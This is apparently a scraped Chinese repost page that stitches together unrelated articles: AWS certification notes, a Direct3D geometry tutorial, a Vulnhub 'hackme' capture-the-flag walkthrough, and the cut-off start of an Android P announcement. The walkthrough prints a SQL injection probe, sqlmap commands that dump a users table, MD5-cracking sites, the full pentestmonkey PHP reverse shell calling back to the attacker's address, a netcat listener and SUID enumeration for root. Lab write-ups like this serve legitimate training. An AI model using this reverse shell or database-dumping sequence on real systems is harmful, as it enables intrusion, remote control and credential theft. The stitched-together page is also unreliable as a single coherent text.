Advisor这个工具可以根据服务水平的不同给出你一些限制的参考(从免费试用,到商业试用,和企业试用的建议) 常见的软性限制 公共的限制 – 每个用户最多创建20个实例,或更少的实例类型 – 每个区域最多5个弹性ip – 每个vpc最多100个安全组 – 最多20个负载均衡 – 最多20个自动伸缩组 – 5000个EBS卷、10000个快照,4w的IOPS和总共20TB的磁盘 – …更多则需要申请了 你不需要记住限制 – 知道限制,并保持数值敏感度就好 – 日后遇到问题时可以排除掉软限制的相关的问题 9. 总结 9.1 认证的主要目标是: 确认架构师能否搜集需求,并且使用最佳实践,在AWS中构建出这个系统 是否能为应用的整个生命周期给出指导意见 9.2 希望架构师(助理或专家级)考试前的准备: 深度掌握至少1门高级别语言(c,c++,java等) 掌握AWS的三份白皮书 – aws概览 – aws安全流程 – aws风险和应对 – 云中的存储选项 – aws的架构最佳实践 按照客户需求,使用AWS组件来部署混合系统的经验 使用AWS架构中心网站了解更多信息 9.3 经验方面的建议 助理架构师 – 至少6个月的实际操作经验、在AWS中管理生产系统的经验 – 学习过AWS的基本课程 专家架构师 – 至少2年的实际操作经验、在AWS中管理多种不同种类的复杂生产系统的经验(多种服务、动态伸缩、高可用、重构或容错) – 在AWS中执行构建的能力,架构的高级概念能力 9.4 相关资源 认证学习的资源地址 - 可以自己练习,模拟考试需要付费的 接下来就去网上报名参加考试 本篇文章为转载内容。原文链接:https://blog.csdn.net/QXK2001/article/details/51292402。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-11-29 22:08:40
270
转载
转载文章
...,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 三维坐标系与几何学 编写Microsoft® Direct3D®应用程序需要熟悉三维几何学原理。本节介绍创建三维场景所需的最重要的几何概念。本节涉及到以下主题。 三维坐标系 三维图元 表面和顶点法向 三角形光栅化法则 矩形 三角形插值 向量、顶点和四元数 这些主题给读者提供了一个对Direct3D应用程序所涉及到的基本概念的高层描述。更多有关这些主题的信息,请参阅更多的信息。 三维坐标系 通常三维图形应用程序使用两种笛卡尔坐标系:左手系和右手系。在这两种坐标系中,正x轴指向右面,正y轴指向上面。通过沿正x轴方向到正y轴方向握拳,大姆指的指向就是相应坐标系统的正z轴的指向。下图显示了这两种坐标系统。 Microsoft® Direct3D®使用左手坐标系。如果正在移植基于右手坐标系的应用程序,必须将传给Direct3D的数据做两点改变。 颠倒三角形顶点的顺序,这样系统会从正面以顺时针的方向遍历它们。换句话说,如果顶点是v0,v1,v2,那么以v0,v2,v1的顺序传给Direct3D。 用观察矩阵对世界空间中的z值取反。要做到这一点,将表示观察矩阵的D3DMATRIX结构的_31、_32、_33和_34成员的符号取反。 要得到等同于右手系的效果,可以使用D3DXMatrixPerspectiveRH和D3DXMatrixOrthoRH函数定义投影矩阵。但是,要小心使用D3DXMatrixLookAtRH函数,并相应地颠倒背面剔除的顺序及放置立方体贴图。 虽然左手坐标系和右手坐标系是最为常用的系统,但在三维软件中还使用许多其它坐标系。例如,对三维建模应用程序而言,使用y轴指向或背向观察者的坐标系统并非罕见。在这种情况下,任意轴(x,y或z)的正半轴指向观察者的被定义为右手系。任意轴(x,y或z)的正半轴背向观察者的被定义为左手系。如果正在移植一个基于左手系进行建模的应用程序,z轴向上,那么除了前面的步骤外,还必须旋转所有的顶点数据(译注:如果原来的坐标系为正x轴向里,正y轴向左,正z轴向上,那么传给Direct3D的顶点的x值对应原来的y值,y值对应原来的z值,z值对应原来的x值,亦即旋转顶点数据)。 对三维坐标系统中定义的三维物体执行的最基本操作是变换、旋转和缩放。可以合并这些基本变换以创建一个新的变换矩阵。细节请参阅三维变换。 即使合并相同的变换操作,不同的合并顺序得到的结果是不可交换的——矩阵相乘的顺序很重要。 三维图元 三维图元是组成单个三维实体的顶点集合。三维坐标系统中最简单的图元是点的集合,称为点表。 通常三维图元是多边形。一个多边形是由至少三个顶点描绘的三维形体。最简单的多边形是三角形。Microsoft® Direct3D®使用三角形组成大多数多边形,因为三角形的三个顶点一定是共面的。应用程序可以用三角形组合成大而复杂的多边形及网格(mesh)。 下图显示了一个立方体。立方体的每个面由两个三角形组成。整个三角形的集合构成了一个立方体图元。可以将纹理和材质应用于图元的表面使它们看起来像是实心的。 可以使用三角形创建具有光滑曲面的图元。下图显示了如何用三角形模拟一个球体。应用了材质后,渲染得到的球体看起来是弯曲的。如果使用高洛德着色,结果更是如此。更多信息请参阅高洛德着色。 表面和顶点法向量 网格中的每个面有一个垂直的法向量。该向量的方向由定义顶点的顺序及坐标系统是左手系还是右手系决定。表面法向量从表面上指向正向面那一侧,如果把表面水平放置,正向面朝上,背向面朝下,那么表面法向量为垂直于表面从下方指向上方。在Microsoft® Direct3D®中,只有面的正向是可视的。一个正向面是顶点按照顺时针顺序定义的面。 任何不是正向面的面都是背向面。由于Direct3D不总是渲染背向面,因此背向面要被剔除。如果想要渲染背向面的话,可以改变剔除模式。更多信息请参阅剔除状态。 Direct3D在计算高洛德着色、光照和纹理效果时使用顶点法向。 Direct3D使用顶点法向计算光源和表面间的夹角,对多边形进行高洛德着色。Direct3D计算每个顶点的颜色和亮度值,并对图元表面所覆盖的所有像素点进行插值。Direct3D使用夹角计算光强度,夹角越大,表面得到的光照就越少。 如果正在创建的物体是平直的,可将顶点法向设为与表面垂直,如下图所示。该图定义了一个由两个三角形组成的平直表面。 但是,更可能的情况是物体由三角形带(triangle strips)组成且三角形不共面。要对整个三角形带的三角形平滑着色的一个简单方法是首先计算与顶点相关联的每个多边形表面的表面法向量。可以这样计算顶点法向,使顶点法向与顶点所属的每个表面的法向的夹角相等。但是,对复杂图元来说这种方法可能不够有效。 这种方法如下图所示。图中有两个表面,S1与S2,它们的邻边在上方。S1与S2的法向量用蓝色显示。顶点的法向量用红色显示。顶点法向量与S1表面法向的夹角和顶点法向量与S2表面法向的夹角相同。当对这两个表面进行光照计算和高洛德着色时,得到结果是中间的边被平滑着色,看起来像是弧形的(而不是有棱角的)。 如果顶点法向偏向与它相关联的某个面,那么会导致那个面上的点光强度的增加或减少。下图显示了一个例子。这些面的邻边依然朝上。顶点法向倾向S1,与顶点法向与表面法向有相同的夹角相比,这使顶点法向与光源间的夹角变小。 可以用高洛德着色在三维场景中显示一些有清晰边缘的物体。要达到这个目的,只要在需要产生清晰边缘的表面交线处,把表面法向复制给交线处顶点的法向,如下图所示。 如果使用DrawPrimitive方法渲染场景,要将有锋利边缘的物体定义为三角形表,而非三角形带。当将物体定义为三角形带时,Direct3D会将它作为由多个三角形组成的单个多边形处理。高洛德着色被同时应用于多边形每个表面的内部和表面之间。结果产生表面之间平滑着色的物体。因为三角形表由一系列不相连的三角形面组成,所以Direct3D对多边形每个面的内部使用高洛德着色。但是,没有在表面之间应用高洛德着色。如果三角形表的两个或更多的三角形是相邻的,那么在它们之间看起来会有一条锋利边缘。 另一种可选的方法是在渲染具有锋利边缘的物体时改变到平面着色模式。这在计算上是最有效的方法,但它可能导致场景中的物体不如用高洛德着色渲染的物体真实。 三角形光栅化法则 顶点指定的点经常不能精确地对应到屏幕上的像素。此时,Microsoft® Direct3D®使用三角形光栅化法则决定对于给定三角形使用哪个像素。 三角形光栅化法则 点、线光栅化法则 点精灵光栅化法则 三角形光栅化法则 Direct3D在填充几何图形时使用左上填充约定(top-left filling convention)。这与Microsoft Windows®的图形设备接口(GUI)和OpenGL中的矩形使用的约定相同。Direct3D中,像素的中心是决定点。如果中心在三角形内,那么该像素就是三角形的一部分。像素中心用整数坐标表示。 这里描述的Direct3D使用的三角形光栅化法则不一定适用于所有可用的硬件。测试可以发现这些法则的实现间的细微变化。 下图显示了一个左上角为(0,0),右下角为(5,5)的矩形。正如大家想象的那样,此矩形填充25个像素。矩形的宽度由right减left定义。高度由bottom减top定义。 在左上填充约定中,上表示水平span在垂直方向上的位置,左表示span中的像素在水平方向上的位置。一条边除非是水平的,否则不可能是顶边——一般来说,大多数三角形只有左边或右边。 左上填充约定确定当一个三角形穿过像素的中心时Direct3D采取的动作。下图显示了两个三角形,一个在(0,0),(5,0)和(5,5),另一个在(0,5),(0,0)和(5,5)。在这种情况下第一个三角形得到15个像素(显示为黑色),而第二个得到10个像素(显示为灰色),因为公用边是第一个三角形的左边。 如果应用程序定义一个左上角为(0.5,0.5),右下角为(2.5,4.5)的矩形,那么这个矩形的中心在(1.5,2.5)。当Direct3D光栅化器tessellate这个矩形时,每个像素的中心都毫无异义地分别位于四个三角形中,此时就不需要左上填充约定。下图显示了这种情况。矩形内的像素根据在Direct3D中被哪个三角形包含做了相应的标注。 如果将上例中的矩形移动,使之左上角为(1.0,1.0),右下角为(3.0,5.0),中心为(2.0,3.0),那么Direct3D使用左上角填充约定。这个矩形中大多数的像素跨越两个或更多的三角形的边界,如下图所示。 这两个矩形会影响到相同的像素。 点、线光栅化法则 点和点精灵一样,都被渲染为与屏幕边缘对齐的四边形,因此它们使用与多边形同样的渲染法则。 非抗锯齿线段的渲染法则与GDI使用的法则完全相同。 更多有关抗锯齿线段的渲染,请参阅ID3DXLine。 点精灵光栅化法则 对点精灵和patch图元的渲染,就好像先把图元tessellate成三角形,然后将得到的三角形进行光栅化。更多信息,请参阅点精灵。 矩形 贯穿Microsoft® Direct3D®和Microsoft Windows®编程,都是用术语包围矩形来讨论屏幕上的物体。由于包围矩形的边总是与屏幕的边平行,因此矩形可以用两个点描述,左上角和右下角。当在屏幕上进行位块传输(Blit = Bit block transfer)或命中检测时,大多数应用程序使用RECT结构保存包围矩形的信息。 C++中,RECT结构有如下定义。 typedef struct tagRECT { LONG left; // 这是左上角的x坐标。 LONG top; // 这是左上角的y坐标。 LONG right; // 这是右下角的x坐标。 LONG bottom; // 这是右下角的y坐标。 } RECT, PRECT, NEAR NPRECT, FAR LPRECT; 在上例中,left和top成员是包围矩形左上角的x-和y-坐标。类似地,right和bottom成员组成右下角的坐标。下图直观地显示了这些值。 为了效率、一致性及易用性, Direct3D所有的presentation函数都使用矩形。 三角形插值对象(interpolants) 在渲染时,流水线会贯穿每个三角形的表面进行顶点数据插值。有五种可能的数据类型可以进行插值。顶点数据可以是各种类型的数据,包括(但不限于):漫反射色、镜面反射色、漫反射阿尔法(三角形透明度)、镜面反射阿尔法、雾因子(固定功能流水线从镜面反射的阿尔法分量中取得,可编程顶点流水线则从雾寄存器中取得)。顶点数据通过顶点声明定义。 对一些顶点数据的插值取决于当前的着色模式,如下表所示。 着色模式 描述 平面 在平面着色模式下只对雾因子进行插值。对所有其它的插值对象,整个面都使用三角形第一个顶点的颜色。 高洛德 在所有三个顶点间进行线性插值。 根据不同的颜色模型,对漫反射色和镜面反射色的处理是不同的。在RGB颜色模型中,系统在插值时使用红、绿和蓝颜色分量。 颜色的阿尔法成员作为单独的插值对象对待,因为设备驱动程序可以以两种不同的方法实现透明:使用纹理混合或使用点画法(stippling)。 可以用D3DCAPS9结构的ShadeCaps成员确定设备驱动程序支持何种插值。 向量、顶点和四元数 贯穿Microsoft® Direct3D®,顶点用于描述位置和方向。图元中的每个顶点由指定其位置的向量、颜色、纹理坐标和指定其方向的法向量描述。 四元数给三元素向量的[ x, y, z]值增加了第四个元素。用于三维旋转的方法,除了典型的矩阵以外,四元数是另一种选择。四元数表示三维空间中的一根轴及围绕该轴的一个旋转。例如,一个四元数可能表示轴(1,1,2)和1度的旋转。四元数包含了有价值的信息,但它们真正的威力源自可对它们执行的两种操作:合成和插值。 对四元数进行插值与合成它们类似。两个四元数的合成如下表示: 将两个四元数的合成应用于几何体意味着“把几何体绕axis2轴旋转rotation2角度,然后绕axis1轴旋转rotation1角度”。在这种情况下,Q表示绕单根轴的旋转,该旋转是先后将q2和q1应用于几何体的结果。 使用四元数,应用程序可以计算出一条从一根轴和一个方向到另一根轴和另一个方向的平滑、合理的路径。因此,在q1和q2间插值提供了一个从一个方向变化到另一个方向的简单方法。 当同时使用合成与插值时,四元数提供了一个看似复杂而实际简单的操作几何体的方法。例如,设想我们希望把一个几何体旋转到某个给定方向。我们已经知道希望将它绕axis2轴旋转r2度,然后绕axis1轴旋转r1度,但是我们不知道最终的四元数。通过使用合成,我们可以在几何体上合成两个旋转并得到最终单个的四元数。然后,我们可以在原始四元数和合成的四元数间进行插值,得到两者之间的平滑转换。 Direct3D扩展(D3DX)工具库包含了帮助用户使用四元数的函数。例如,D3DXQuaternionRotationAxis函数给一个定义旋转轴的向量增加一个旋转值,并在由D3DXQUTERNION结构定义的四元数中返回结果。另外,D3DXQuaternionMultiply函数合成四元数,D3DXQuaternionSlerp函数在两个四元数间进行球面线性插值(spherical linear interpolation)。 Direct3D应用程序可以使用下列函数简化对四元数的使用。 D3DXQuaternionBaryCentric D3DXQuaternionConjugate D3DXQuaternionDot D3DXQuaternionExp D3DXQuaternionIdentity D3DXQuaternionInverse D3DXQuaternionIsIdentity D3DXQuaternionLength D3DXQuaternionLengthSq D3DXQuaternionLn D3DXQuaternionMultiply D3DXQuaternionNormalize D3DXQuaternionRotationAxis D3DXQuaternionRotationMatrix D3DXQuaternionRotationYawPitchRoll D3DXQuaternionSlerp D3DXQuaternionSquad D3DXQuaternionToAxisAngle Direct3D应用程序可以使用下列函数简化对三成员向量的使用。 D3DXVec3Add D3DXVec3BaryCentric D3DXVec3CatmullRom D3DXVec3Cross D3DXVec3Dot D3DXVec3Hermite D3DXVec3Length D3DXVec3LengthSq D3DXVec3Lerp D3DXVec3Maximize D3DXVec3Minimize D3DXVec3Normalize D3DXVec3Project D3DXVec3Scale D3DXVec3Subtract D3DXVec3Transform D3DXVec3TransformCoord D3DXVec3TransformNormal D3DXVec3Unproject D3DX工具库提供的数学函数中包含了许多辅助函数,可以简化对二成员和四成员向量的使用 http://www.gesoftfactory.com/developer/3DCS.htm 本篇文章为转载内容。原文链接:https://blog.csdn.net/okvee/article/details/3438011。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-10-24 12:49:42
271
转载
转载文章
...,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 靶机描述 靶机地址:https://www.vulnhub.com/entry/hackme-1,330/ Description ‘hackme’ is a beginner difficulty level box. The goal is to gain limited privilege access via web vulnerabilities and subsequently privilege escalate as root. The lab was created to mimic real life environment. ‘hackme’ uses DHCP and in the possible event that the mysqld shuts down on its own (very rare cases), attempt to force restart the machine and it should be working fine subsequently. This works better with VirtualBox rather than VMware 一、搭建靶机环境 攻击机Kali: IP地址:192.168.184.128 靶机: IP地址:192.168.184.149 注:靶机与Kali的IP地址只需要在同一局域网即可(同一个网段,即两虚拟机处于同一网络模式) 二、实战 2.1网络扫描 2.1.1 启动靶机和Kali后进行扫描 方法一、arp-scan -I eth0 -l (指定网卡扫) arp-scan -I eth0 -l 方法二、masscan 扫描的网段 -p 扫描端口号 masscan 192.168.184.0/24 -p 80,22 方法三、netdiscover -i 网卡-r 网段 netdiscover -i eth0 -r 192.168.184.0/24 方法四、等你们补充 2.1.2 查看靶机开放的端口 使用nmap -A -sV -T4 -p- 靶机ip查看靶机开放的端口 可以发现有 2 个端口开放,22 和 80 2.1.3 尝试访问靶机网页 2.2枚举漏洞 22 端口分析 一般只能暴力破解,暂时没有合适的字典 80 端口分析 访问网站, 发现是一个登陆页面 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Nm2jCq05-1650016495541)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110170424128.png)] 成功登录后 尝试手工注入:x' or 1=1 成功返回所有信息,说明存在SQL注入 2.3漏洞利用 2.3.1 sqlmap 利用注入漏洞 使用 burp 抓查询数据包 POST /welcome.php HTTP/1.1Host: 192.168.184.149Content-Length: 23Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://192.168.184.149Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://192.168.184.149/welcome.phpAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=jub1jihglt85brngo5imqsifb3Connection: closesearch=x 将数据包保存为文件 hackme1.txt 使用 sqlmap 跑一下测试漏洞并获取数据库名: 🚀 python sqlmap.py -r hackme1.txt --dbs --batch [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DjhXfuV9-1650016495544)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110171527015.png)] 数据库除了基础数据库有webapphacking 接下来咱们获取一下表名 🚀 python sqlmap.py -r hackme1.txt --batch -D webapphacking --tables [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1mzxiwhu-1650016495544)(C:\Users\zhang\AppData\Roaming\Typora\typora-user-images\image-20220110172336353.png)] 可以得到两个表books和users 咱们先获取一下users表的信息 🚀 python sqlmap.py -r hackme1.txt --batch -D webapphacking -T users --dump --batch 可以看到有一个superadmin,超级管理员,看起来像一个md5 扩展 在线解密md5网站 国内MD5解密: http://t007.cn/ https://cmd5.la/ https://cmd5.com/ https://pmd5.com/ http://ttmd5.com/ https://md5.navisec.it/ http://md5.tellyou.top/ https://www.somd5.com/ http://www.chamd5.org/ 国外MD5解密: https://www.md5tr.com/ http://md5.my-addr.com/ https://md5.gromweb.com/ https://www.md5decrypt.org/ https://md5decrypt.net/en/ https://md5hashing.net/hash/md5/ https://hashes.com/en/decrypt/hash https://www.whatsmyip.org/hash-lookup/ https://www.md5online.org/md5-decrypt.html https://md5-passwort.de/md5-passwort-suchen 解出来密码是:Uncrackable 登录上去,发现有上传功能 2.3.2 文件上传漏洞 getshell 将 kali 自带的 php-reverse-shell.php 复制一份到 查看文件内容,并修改IP地址 <?php// php-reverse-shell - A Reverse Shell implementation in PHP// Copyright (C) 2007 pentestmonkey@pentestmonkey.net//// This tool may be used for legal purposes only. Users take full responsibility// for any actions performed using this tool. The author accepts no liability// for damage caused by this tool. If these terms are not acceptable to you, then// do not use this tool.//// In all other respects the GPL version 2 applies://// This program is free software; you can redistribute it and/or modify// it under the terms of the GNU General Public License version 2 as// published by the Free Software Foundation.//// This program is distributed in the hope that it will be useful,// but WITHOUT ANY WARRANTY; without even the implied warranty of// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the// GNU General Public License for more details.//// You should have received a copy of the GNU General Public License along// with this program; if not, write to the Free Software Foundation, Inc.,// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.//// This tool may be used for legal purposes only. Users take full responsibility// for any actions performed using this tool. If these terms are not acceptable to// you, then do not use this tool.//// You are encouraged to send comments, improvements or suggestions to// me at pentestmonkey@pentestmonkey.net//// Description// -----------// This script will make an outbound TCP connection to a hardcoded IP and port.// The recipient will be given a shell running as the current user (apache normally).//// Limitations// -----------// proc_open and stream_set_blocking require PHP version 4.3+, or 5+// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.//// Usage// -----// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.set_time_limit (0);$VERSION = "1.0";$ip = '192.168.184.128'; // CHANGE THIS$port = 6666; // CHANGE THIS$chunk_size = 1400;$write_a = null;$error_a = null;$shell = 'uname -a; w; id; /bin/sh -i';$daemon = 0;$debug = 0;//// Daemonise ourself if possible to avoid zombies later//// pcntl_fork is hardly ever available, but will allow us to daemonise// our php process and avoid zombies. Worth a try...if (function_exists('pcntl_fork')) {// Fork and have the parent process exit$pid = pcntl_fork();if ($pid == -1) {printit("ERROR: Can't fork");exit(1);}if ($pid) {exit(0); // Parent exits}// Make the current process a session leader// Will only succeed if we forkedif (posix_setsid() == -1) {printit("Error: Can't setsid()");exit(1);}$daemon = 1;} else {printit("WARNING: Failed to daemonise. This is quite common and not fatal.");}// Change to a safe directorychdir("/");// Remove any umask we inheritedumask(0);//// Do the reverse shell...//// Open reverse connection$sock = fsockopen($ip, $port, $errno, $errstr, 30);if (!$sock) {printit("$errstr ($errno)");exit(1);}// Spawn shell process$descriptorspec = array(0 => array("pipe", "r"), // stdin is a pipe that the child will read from1 => array("pipe", "w"), // stdout is a pipe that the child will write to2 => array("pipe", "w") // stderr is a pipe that the child will write to);$process = proc_open($shell, $descriptorspec, $pipes);if (!is_resource($process)) {printit("ERROR: Can't spawn shell");exit(1);}// Set everything to non-blocking// Reason: Occsionally reads will block, even though stream_select tells us they won'tstream_set_blocking($pipes[0], 0);stream_set_blocking($pipes[1], 0);stream_set_blocking($pipes[2], 0);stream_set_blocking($sock, 0);printit("Successfully opened reverse shell to $ip:$port");while (1) {// Check for end of TCP connectionif (feof($sock)) {printit("ERROR: Shell connection terminated");break;}// Check for end of STDOUTif (feof($pipes[1])) {printit("ERROR: Shell process terminated");break;}// Wait until a command is end down $sock, or some// command output is available on STDOUT or STDERR$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);// If we can read from the TCP socket, send// data to process's STDINif (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ");$input = fread($sock, $chunk_size);if ($debug) printit("SOCK: $input");fwrite($pipes[0], $input);}// If we can read from the process's STDOUT// send data down tcp connectionif (in_array($pipes[1], $read_a)) {if ($debug) printit("STDOUT READ");$input = fread($pipes[1], $chunk_size);if ($debug) printit("STDOUT: $input");fwrite($sock, $input);}// If we can read from the process's STDERR// send data down tcp connectionif (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ");$input = fread($pipes[2], $chunk_size);if ($debug) printit("STDERR: $input");fwrite($sock, $input);} }fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);// Like print, but does nothing if we've daemonised ourself// (I can't figure out how to redirect STDOUT like a proper daemon)function printit ($string) {if (!$daemon) {print "$string\n";} }?> [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RhgS5l2a-1650016495549)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110173559344.png)] 上传该文件 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CKEldpll-1650016495549)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110173801442.png)] 在 kali 监听:nc -lvp 6666 访问后门文件:http://192.168.184.149/php-reverse-shell.php 不成功 尝试加上传文件夹:http://192.168.184.149/uploads/php-reverse-shell.php 成功访问 使用 python 切换为 bash:python3 -c 'import pty; pty.spawn("/bin/bash")' 2.4权限提升 2.4.1 SUID 提权 sudo -l不顶用了,换个方法 查询 suid 权限程序: find / -perm -u=s -type f 2>/dev/null www-data@hackme:/$ find / -perm -u=s -type f 2>/dev/nullfind / -perm -u=s -type f 2>/dev/null/snap/core20/1270/usr/bin/chfn/snap/core20/1270/usr/bin/chsh/snap/core20/1270/usr/bin/gpasswd/snap/core20/1270/usr/bin/mount/snap/core20/1270/usr/bin/newgrp/snap/core20/1270/usr/bin/passwd/snap/core20/1270/usr/bin/su/snap/core20/1270/usr/bin/sudo/snap/core20/1270/usr/bin/umount/snap/core20/1270/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core20/1270/usr/lib/openssh/ssh-keysign/snap/core/6531/bin/mount/snap/core/6531/bin/ping/snap/core/6531/bin/ping6/snap/core/6531/bin/su/snap/core/6531/bin/umount/snap/core/6531/usr/bin/chfn/snap/core/6531/usr/bin/chsh/snap/core/6531/usr/bin/gpasswd/snap/core/6531/usr/bin/newgrp/snap/core/6531/usr/bin/passwd/snap/core/6531/usr/bin/sudo/snap/core/6531/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/6531/usr/lib/openssh/ssh-keysign/snap/core/6531/usr/lib/snapd/snap-confine/snap/core/6531/usr/sbin/pppd/snap/core/5662/bin/mount/snap/core/5662/bin/ping/snap/core/5662/bin/ping6/snap/core/5662/bin/su/snap/core/5662/bin/umount/snap/core/5662/usr/bin/chfn/snap/core/5662/usr/bin/chsh/snap/core/5662/usr/bin/gpasswd/snap/core/5662/usr/bin/newgrp/snap/core/5662/usr/bin/passwd/snap/core/5662/usr/bin/sudo/snap/core/5662/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/5662/usr/lib/openssh/ssh-keysign/snap/core/5662/usr/lib/snapd/snap-confine/snap/core/5662/usr/sbin/pppd/snap/core/11993/bin/mount/snap/core/11993/bin/ping/snap/core/11993/bin/ping6/snap/core/11993/bin/su/snap/core/11993/bin/umount/snap/core/11993/usr/bin/chfn/snap/core/11993/usr/bin/chsh/snap/core/11993/usr/bin/gpasswd/snap/core/11993/usr/bin/newgrp/snap/core/11993/usr/bin/passwd/snap/core/11993/usr/bin/sudo/snap/core/11993/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/11993/usr/lib/openssh/ssh-keysign/snap/core/11993/usr/lib/snapd/snap-confine/snap/core/11993/usr/sbin/pppd/usr/lib/eject/dmcrypt-get-device/usr/lib/openssh/ssh-keysign/usr/lib/snapd/snap-confine/usr/lib/policykit-1/polkit-agent-helper-1/usr/lib/dbus-1.0/dbus-daemon-launch-helper/usr/bin/pkexec/usr/bin/traceroute6.iputils/usr/bin/passwd/usr/bin/chsh/usr/bin/chfn/usr/bin/gpasswd/usr/bin/at/usr/bin/newgrp/usr/bin/sudo/home/legacy/touchmenot/bin/mount/bin/umount/bin/ping/bin/ntfs-3g/bin/su/bin/fusermount 发现一个可疑文件/home/legacy/touchmenot 在 https://gtfobins.github.io/网站上查询:touchmenot 没找到 尝试运行程序:发现直接提权成功 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qcpXI6zZ-1650016495551)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110174530827.png)] 找半天没找到flag的文件 what?就这? 总结 本节使用的工具和漏洞比较基础,涉及 SQL 注入漏洞和文件上传漏洞 sql 注入工具:sqlmap 抓包工具:burpsuite Webshell 后门:kali 内置后门 Suid 提权:touchmenot 提权 本篇文章为转载内容。原文链接:https://blog.csdn.net/Perpetual_Blue/article/details/124200651。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-01-02 12:50:54
497
转载
转载文章
...,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 I/O 大会的第一天,我们公布了下一个版本的 Android,也就是 Android P 的 beta 版本。Android P 将 AI 定位为操作系统的核心,并侧重于提供智能且简洁的体验。让我们一起来了解下这个版本带来了哪些全新功能。 Android P Beta 为开发者提供了丰富的方法来使用这些全新的、智能化的功能,并且更好地提升用户参与度。 您可在 Pixel 设备上立刻参与 Android P Beta的体验。另外,得益于 Project Treble,您也可在我们合作伙伴推出的高端机型 (请查看今天推送的文章) 上体验到这个全新版本,如 Essential、诺基亚、Oppo、索尼、Vivo 和小米,更多机型也即将加入体验阵营。 请 点击访问此网站 了解支持本次体验的全部设备,以及如何在这些设备上安装 Android P Beta。想要为 Android P Beta 开发应用,请 点击访问此网站。 请点击蓝色字体前往 “Android Developers 官方文档”查看详细说明 以机器学习为核心,打造 “更加智能的” 智能手机 Android P 让智能手机可以学习用户、适应用户,从而使 “智能” 更为智能。现在您的应用可以借助本地硬件中的机器学习成果,来触达更多受众,并为他们提供前所未有的体验。 · 动态电量管理 (Adaptive Battery) 无论用户们使用的是何种手机,电量一直都是他们最为关心问题。在 Android P 中,我们和 DeepMind 合作推出了一个全新功能,即动态电量管理 (Adaptive Battery),来优化各个应用的电量使用。 动态电量管理通过机器学习来管理用户们最关心的那些应用所能占用的系统资源。各个应用会被划分到四个不同的群组里,这些群组对系统资源调用有不同的限制,我们称之为 “应用待机群组 (App Standby buckets)”。随着用户的使用,应用会在这四个群组里切换,那些不在 “活跃 (active)” 组里的应用在包括任务 (jobs)、警报、网络以及高优先级的 Firebase Cloud Messages 等资源调用上会受到相应的限制。 如果您的应用已经针对 Doze, App Standby 和后台运行限制做过优化,那么它就应该已经能和动态电量管理完美配合。我们建议您在四个应用待机群组中都对自己的 app 进行测试,请阅读相关文档了解详情。 · App Actions 当用户想要做一个操作的时候,App Actions 会推荐能帮助他们完成这个操作的 app,而且这个推荐的功能会覆盖整个操作系统中的重要交互环节,比如启动器 (Launcher)、智能文本选择、Google Play、Google Search 应用,以及 Assistant。 App Actions 通过机器学习来分析用户最近的行为或使用场景,从而筛选出需要推荐的应用。由于这些推荐与用户当前想要做的事情高度关联,所以这套机制非常利于拓展新用户以及促活现有用户。 只需将您应用中的各个功能定义为语义意图 (semantic intent),便可以充分享受 App Actions 带来的好处。App Actions 中的意图和我们早些时候在 Google Assistant 上推出的语音对谈式动作 (Conversational Action) 